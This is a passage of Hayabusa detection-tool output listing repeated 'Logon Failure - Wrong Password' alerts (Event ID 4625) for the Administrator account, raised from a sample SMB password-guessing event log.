NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SyM3OrjUHub9k23k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.171 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vY7SRoWumGQOrljW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iFrO2nUMlfeDLGyc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.250 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9B8Gq7d30U8DqdN0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yxSPuxpCHgSo1d1a : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.342 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9elGZ4POExblUCAK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XHY9Ig3sqQKNXYqq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: voMDzTqYqKpfudKo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.457 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m8m9SJ1aFpvFqClU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.496 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dM84lQYVfHhZmgpK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.541 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O5FrdBbYXWaqFkeb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.588 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZxiNMjsd3YfoCNa2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.628 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v1u5uD9SiDFq9VOD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.675 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pZv9l3b7U8tIVmw8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.716 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7EfPqiBhm6hRX700 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.763 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3uvqgri2KGIDAlg1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.816 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oLXZMXKsjOaurgZV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nXtiRWHDJqpq69Ej : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.915 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OeC1T9YkT1hXMcGG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YPf6nlwAeuu7cf00 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4fvVUozD2RuIchN4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KP3rghcrgas3l3q1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.084 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MMtcQYoVoM57gTcj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.137 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IFjTWECEep09Abjt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.177 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jUlguy8tKBo4DSUR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GETwMERLpiVtMRkw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bhas9Vjc193EVcOg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OmVAnxq39t7qbcEs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.332 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 13y2nnltjipwZqth : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.369 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wDQrPBL1VodIcQLR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.417 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: K0Mp4jXeHd3b0CLw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.472 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3j89GmIDnG4v7JJC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.512 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xyRLZMoaXJUrPPfn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.607 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZcoyOKUjEi1uCSpD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jWQGVJLcVwgf4YJ8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mrFqG85mmjTYJ4A9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6DqIh1QHTk470nrU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.774 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: feVbA94p6iT2pBeC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.804 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: T30YHcE8ZG7FaxW7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.847 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RaKHRwYtx2lGtOCG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zDEDuMmlDZZfdkFD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:09.935 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CObqGJQi1hOOI83J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.002 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EhsE9bQeEwW21bAj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.050 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: El1qxgjvGS0QSS4Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.097 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vtlr3HwzJcAfSxuO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.141 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KDayr44iXmE63vqd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.195 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FkNoLVOhnS8ayujK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3ggg78jjziKqijrT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.313 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BodeSVqeqa5qBQDL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.362 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yY7yxEcuGwWSJZV2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.406 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oTlg6cvsz6Z6QpCp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.460 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V3pTALzqu4Ok6CUR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.509 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kdGagQIEcvQQMp4n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.557 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fVu4reOyQEIkChHO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.609 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EJWNS69MmMGLSnHc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.656 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nPaR2sBxPPCjxpL0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.706 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kJJ9A1EfqM4V2TRv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4dxf59xjpxO3oG17 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.804 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o6dMI12g4tjSF8PX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZAqN0xPaW4jg2Kjc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mcnReyIEaqsQfowV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.928 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: akOH8Y7XdjOpqTez : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.967 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b0HOK1TIqloud7gh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:10.996 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n6uIAK55BmTnA6Bf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.042 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZDnn6QmLOJ6KwzKt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.084 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: np8KaRJvRqBrGyFL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dxbu69Amr6gWN5Hw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LoZdaFJWNON8Ujnc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q4RSlXgOS7sssCqU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j2PJprE7olK4pjrx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.297 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jQOAUcWQL32y2gGe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.361 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nXI0wWwzhHN0uvOP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.414 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ujGqTzfOhmKgoAjt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.468 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cFoPtWZ03O3ZZgOC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.520 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EyO2VTnpGZLeSIvr : IP Address: 192.168.198.149 : AuthPackage: 